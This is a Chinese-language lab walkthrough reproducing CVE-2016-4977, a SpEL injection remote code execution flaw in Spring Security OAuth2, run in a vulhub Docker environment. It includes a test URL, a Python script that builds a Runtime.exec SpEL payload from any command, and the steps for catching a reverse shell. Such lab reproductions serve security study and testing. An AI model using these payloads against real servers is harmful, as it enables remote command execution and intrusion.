0%

Spring Security OAuth2 远程命令执行漏洞复现(CVE-2016-4977)

漏洞原理

Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞

环境搭建

使用vulhub搭建漏洞环境

1
2
cd /vulhub/spring/CVE-2016-4977/
docker-compose up -d

启动完成后,访问http://your-ip:8080/即可看到web页面。

影响版本

Spring Security OAuth 2.3到2.3.2

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.0到2.0.14

漏洞复现

访问http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入admin:admin即可。

image

对反弹shell的POC进行base64编码
http://www.jackson-t.ca/runtime-exec-payloads.html

image

使用poc.py生成反弹shell的POC:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

image

监听反弹shell,并访问URLhttp://your-ip:8080/oauth/authorize?response_type=上面的那一长串POC&client_id=acme&scope=openid&redirect_uri=http://test

image